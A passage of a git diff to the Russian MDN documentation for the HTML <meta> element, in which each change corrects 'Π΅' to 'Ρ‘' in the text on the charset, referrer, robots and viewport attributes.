<td>ΠœΠ΅Ρ‚Π° Π΄Π°Π½Π½Ρ‹Π΅. Если Π·Π°Π΄Π°Π½ {{htmlattrxref("itemprop")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚: <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">flow content</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΠ΅Ρ‚ - это {{Glossary("empty element","пустой элСмСнт")}}.</td>
</tr>
<tr>
@@ -22,11 +22,11 @@ translation_of: Web/HTML/Element/meta
<td>Π’Π°ΠΊ ΠΊΠ°ΠΊ это пустой элСмСнт, Ρ‚ΠΎ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ, Π° Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ - ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ.</td>
</tr>
<tr>
- <th>Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th>Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td><code>&lt;meta charset&gt;</code>, <code>&lt;meta http-equiv&gt;</code>: {{HTMLElement("head")}} элСмСнт. Если {{htmlattrxref("http-equiv", "meta")}} это Π½Π΅ заявлСнная дСкларация, Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{HTMLElement("noscript")}} ΠΈΠ»ΠΈ {{HTMLElement("head")}}.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚</td>
</tr>
<tr>
@@ -46,7 +46,7 @@ translation_of: Web/HTML/Element/meta
<dl>
<dt>{{htmlattrdef("charset")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡƒΡŽ Π½Π° страницС. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <a class="external" href="https://www.iana.org/assignments/character-sets">стандартноС имя IANA MIME для ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ символов</a>. Π₯отя стандарт Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ, ΠΎΠ½ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚:
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡƒΡŽ Π½Π° страницС. Он Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ <a class="external" href="https://www.iana.org/assignments/character-sets">стандартноС имя IANA MIME для ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ символов</a>. Π₯отя стандарт Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ, ΠΎΠ½ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΠ΅Ρ‚:
<ul>
<li>Авторам рСкомСндуСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>{{glossary("UTF-8")}}</code>.</li>
<li>НС слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ASCII-нСсовмСстимыС ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΡƒΠ³Ρ€ΠΎΠ· бСзопасности: Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ ΠΈΡ…, ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ врСдоносный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΊΠ°ΠΊ HTML. Π­Ρ‚ΠΎ относится ΠΊ сСмСйству ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΎΠΊ <code>JIS_C6226-1983</code>, <code>JIS_X0212-1990</code>, <code>HZ-GB-2312</code>, <code>JOHAB</code> ΠΈ <code>EBCDIC</code>.</li>
@@ -72,7 +72,7 @@ translation_of: Web/HTML/Element/meta
<li>Π­Ρ‚ΠΎΡ‚ <code>&lt;meta&gt;</code> элСмСнт - Ρ‡Π°ΡΡ‚ΡŒ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π΅Π³ΠΎ Π½Π°Π±ΠΎΡ€ символов (<a href="https://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#encoding-sniffing-algorithm" title="Algorithm charset page">algorithm to determine the character set</a>) страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Content-Type")}} ΠΈ Π»ΡŽΠ±Ρ‹Π΅ {{Glossary("Byte-Order Mark","Byte-Order Marks")}} элСмСнты ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π΄Π°Π½Π½Ρ‹ΠΉ элСмСнт.</li>
<li>ΠΠ°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ рСкомСндуСтся ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов. Если для страницы Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π½Π°Π±ΠΎΡ€ символов, Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ cross-scripting Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ²Ρ€Π΅Π΄ΠΈΡ‚ΡŒ страницу, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a class="external" href="https://code.google.com/p/doctype-mirror/wiki/ArticleUtf7">UTF-7Β fallback cross-scripting technique</a>. ΠŸΠΎΡΡ‚ΠΎΡΠ½Π½Π°Ρ установка этого элСмСнта Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°Ρ‰ΠΈΡ‰Π°Ρ‚ΡŒ Вас ΠΎΡ‚ этого риска.</li>
<li>Π­Ρ‚ΠΎΡ‚ {{HTMLElement("meta")}} элСмСнт это синоним для pre-HTML5 <code>&lt;metaΒ http-equiv="Content-Type" content="text/html;Β charset=<em>IANAcharset</em>"&gt; </code>Π³Π΄Π΅Β <em><code>IANAcharset</code>Β </em>соотвСтствуСт Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ эквивалСнтного {{htmlattrxref("charset", "meta")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°.<br>
- Π­Ρ‚ΠΎΡ‚ синтаксис ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½, хотя ΠΈ устарСл ΠΈ большС Π½Π΅ рСкомСндуСтся.</li>
+ Π­Ρ‚ΠΎΡ‚ синтаксис ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Ρ€Π°Π·Ρ€Π΅ΡˆΡ‘Π½, хотя ΠΈ устарСл ΠΈ большС Π½Π΅ рСкомСндуСтся.</li>
</ul>
</div>
</dd>
@@ -129,8 +129,8 @@ translation_of: Web/HTML/Element/meta
<li><code>Π°Π²Ρ‚ΠΎΡ€</code> опрСдСляСт Π² свободном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ имя Π°Π²Ρ‚ΠΎΡ€Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°;</li>
<li>описаниС, содСрТащСС ΠΊΡ€Π°Ρ‚ΠΊΠΎΠ΅ ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎΠ΅ Ρ€Π΅Π·ΡŽΠΌΠ΅ содСрТания страницы. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, срСди ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Firefox ΠΈ Opera, этот ΠΌΠ΅Ρ‚Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ описаниС страницы ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π·Π°ΠΊΠ»Π°Π΄ΠΊΠ΅;</li>
<li>Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€, содСрТащий Π² свободном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния, создавшСго страницу;;</li>
- <li>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова, прСдставлСнныС строками, раздСлСнными запятыми, связанныС с содСрТаниСм страницы</li>
- <li><code>referrer</code> {{experimental_inline}} ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ содСрТимоС HTTP.Β <code>Referer</code> HTTP - Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹ΠΉ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ запросу, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΈΠ· этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:
+ <li>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова, прСдставлСнныС строками, раздСлёнными запятыми, связанныС с содСрТаниСм страницы</li>
+ <li><code>referrer</code> {{experimental_inline}} ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ содСрТимоС HTTP.Β <code>Referer</code> HTTP - Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ запросу, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΈΠ· этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°:
<table class="standard-table">
<caption>ЗначСния содСрТимого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° &lt;meta name="referrer"&gt;</caption>
<tbody>
@@ -148,11 +148,11 @@ translation_of: Web/HTML/Element/meta
</tr>
<tr>
<td><code>origin-when-crossorigin</code></td>
- <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ URL (ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²) ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса с Ρ‚Π΅ΠΌ ΠΆΠ΅ источником, ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π» Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях.</td>
+ <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ URL (ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²) ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса с Ρ‚Π΅ΠΌ ΠΆΠ΅ источником, ΠΈΠ»ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π» Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… случаях.</td>
</tr>
<tr>
<td><code>unsafe-URL</code></td>
- <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ URL (ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²), ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΈΠ»ΠΈ пСрСкрСстного происхоТдСния.</td>
+ <td>ΠžΡ‚ΠΏΡ€Π°Π²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ»Π½Ρ‹ΠΉ URL (ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΈΠ· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ²), ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ запроса Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ ΠΈΠ»ΠΈ пСрСкрёстного происхоТдСния.</td>
</tr>
</tbody>
</table>
@@ -167,10 +167,10 @@ translation_of: Web/HTML/Element/meta
</li>
</ul>
- <p>Атрибут Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, взятоС ΠΈΠ· ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ листа ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ Β <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Π₯отя Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅ Π±Ρ‹Π» принят, Π² число ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ входят нСсколько часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΈΠΌΠ΅Π½:</p>
+ <p>Атрибут Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, взятоС ΠΈΠ· ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ листа ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ Β <a class="external" href="https://wiki.whatwg.org/wiki/MetaExtensions">WHATWG Wiki MetaExtensions page</a>. Π₯отя Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π½ΠΈΡ… ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅ Π±Ρ‹Π» принят, Π² число ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠ΅Π½ΠΈΠΉ входят нСсколько часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… ΠΈΠΌΡ‘Π½:</p>
<ul>
- <li><code>creator</code>, опрСдСлят Π² свободном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ имя создатСля Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ имя института. Если ΠΆΠ΅ ΠΈΠΌΠ΅Π½ большС Ρ‡Π΅ΠΌ ΠΎΠ΄Π½ΠΎ, Ρ‚ΠΎΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ {{HTMLElement("meta")}} элСмСнтов Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹;</li>
+ <li><code>creator</code>, опрСдСлят Π² свободном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ имя создатСля Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ имя института. Если ΠΆΠ΅ ΠΈΠΌΡ‘Π½ большС Ρ‡Π΅ΠΌ ΠΎΠ΄Π½ΠΎ, Ρ‚ΠΎΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎΒ {{HTMLElement("meta")}} элСмСнтов Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹;</li>
<li><code>googlebot</code>, синоним <code>robots</code>, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ слСдуСт Π·Π°Β Googlebot, сканируСт индСксы для Google;</li>
<li><code>publisher</code>, опрСдСляСт Π² свободном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ имя Ρ‚ΠΎΠ³ΠΎ, ΠΊΡ‚ΠΎ ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π» Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. Π­Ρ‚ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ имя института;</li>
<li><code>robots</code>, опрСдСляСт ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, поисковых Ρ€ΠΎΠ±ΠΎΡ‚ΠΎΠ² Π½Π° страницС. Бписок этих Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ прСдставлСн Π½ΠΈΠΆΠ΅:
@@ -242,7 +242,7 @@ translation_of: Web/HTML/Element/meta
<div class="note"><strong>ЗамСчания:</strong>
<ul>
- <li>Волько ΠΊΠΎΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ€ΠΎΠ±ΠΎΡ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ€ΠΎΠ±ΠΎΡ‚ΠΎΠ².Β </li>
+ <li>Волько ΠΊΠΎΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ€ΠΎΠ±ΠΎΡ‚Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ€ΠΎΠ±ΠΎΡ‚ΠΎΠ².Β </li>
<li>Π ΠΎΠ±ΠΎΡ‚Ρƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ страницС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚Π° Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΎΡ‚ Π½ΠΈΡ… ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ, Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β Β <em><a href="/en-US/docs/Robot_Exclusion_Protocol" title="Robot Exclusion Protocol">robots.txt</a></em> Ρ„Π°ΠΉΠ».</li>
<li>Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ страницу индСкса, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚Π° Π² noindex Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Ρ€ΠΎΠ±ΠΎΡ‚ снова посСтит страницу. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» robots.txt Π½Π΅ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠ΅ посСщСния. НСкоторыС поисковыС систСмы ΠΈΠΌΠ΅ΡŽΡ‚ инструмСнты, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ быстро ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΡƒΡŽ-Π»ΠΈΠ±ΠΎ страницу.</li>
<li>НСкоторыС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния Π²Π·Π°ΠΈΠΌΠ½ΠΎ ΠΈΡΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ Π΄Ρ€ΡƒΠ³Π°, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ использованиС индСкса ΠΈ noindex ΠΈΠ»ΠΈ follow ΠΈ nofollow ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ. Π’ этих случаях ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Ρ€ΠΎΠ±ΠΎΡ‚Π° Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ ΠΈΠ·Π±Π΅Π³Π°ΠΉΡ‚Π΅ этих случаСв.</li>
@@ -256,7 +256,7 @@ translation_of: Web/HTML/Element/meta
<p>НаконСц нСсколько ΠΎΠ±Ρ‰ΠΈΡ… Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ²:</p>
<ul>
- <li><code>viewport</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Π΅Ρ‚ подсказки ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° {{glossary("viewport")}}. Π­Ρ‚Π° ΠΏΡ€Π°Π³ΠΌΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах.
+ <li><code>viewport</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π°Ρ‘Ρ‚ подсказки ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° {{glossary("viewport")}}. Π­Ρ‚Π° ΠΏΡ€Π°Π³ΠΌΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах.
<table class="fullwidth-table">
<caption>ЗначСния для содСрТания <code>&lt;meta name="viewport"&gt;</code></caption>
diff --git a/files/ru/web/html/element/meter/index.html b/files/ru/web/html/element/meter/index.html
index 1b7d72d8ad..8f4bb987de 100644
--- a/files/ru/web/html/element/meter/index.html
+++ b/files/ru/web/html/element/meter/index.html
@@ -21,7 +21,7 @@ translation_of: Web/HTML/Element/meter
